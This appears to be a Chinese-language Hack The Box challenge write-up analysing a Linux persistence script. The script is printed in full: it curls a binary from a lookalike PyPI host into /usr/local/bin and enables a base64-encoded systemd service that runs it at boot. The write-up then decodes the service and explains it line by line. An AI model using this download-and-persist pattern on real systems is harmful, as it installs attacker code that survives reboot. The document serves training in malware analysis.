Linux持久化
分析persistence.sh 解压密码是hackthebox
n=`whoami`
h=`hostname`
path='/usr/local/bin/service'
if [[ "$n" != "pandora" && "$h" != "linux_HQ" ]]; then exit; fi
curl https://files.pypi-install.com/packeges/service -o $path
chmod +x $path
echo -e "W1VuaXRdCkRlc2NyaXB0aW9uPUhUQnt0aDNzM180bDEzblNfNHIzX3MwMDAwMF9iNHMxY30KQWZ0ZXI9bmV0d29yay50YXJnZXQgbmV0d29yay1vbmxpbmUudGFyZ2V0CgpbU2VydmljZV0KVHlwZT1vbmVzaG90ClJlbWFpbkFmdGVyRXhpdD15ZXMKCkV4ZWNTdGFydD0vdXNyL2xvY2FsL2Jpbi9zZXJ2aWNlCkV4ZWNTdG9wPS91c3IvbG9jYWwvYmluL3NlcnZpY2UKCltJbnN0YWxsXQpXYW50ZWRCeT1tdWx0aS11c2VyLnRhcmdldA=="|base64 --decode > /usr/lib/systemd/system/service.service
systemctl enable service.service
解释:在满足特定条件下的linux系统上安装一个名为service的服务
如果whoami和hostname不满足条件则退出
curl 文件到之前定义的path路径下
echo -e是激活转义字符 从而使得\n生效
丢到hiencode解码
systemd启用解码
base64解码如下
[]是systemd的语法规定,用于规定节的开始和结束 一般都会有 关于服务的一般性描述和依赖关系
[Unit]
Description=HTB{th3s3_4l13nS_4r3_s00000_b4s1c} #描述 也是flag
After=network.target network-online.target #在什么条件下 在网络连通之后
[Service] # 如何启动停止和管理服务
Type=oneshot #一次性执行的服务 执行完就退出
RemainAfterExit=yes #主要进程已经退出,也继续保持服务状态
ExecStart=/usr/local/bin/service #服务开始时执行的命令
ExecStop=/usr/local/bin/service #服务停止时执行的命令
[Install] #定义服务与系统目标之间的关联以及启用或禁用服务时的行为
WantedBy=multi-user.target #在multi-user.target启动时自动启动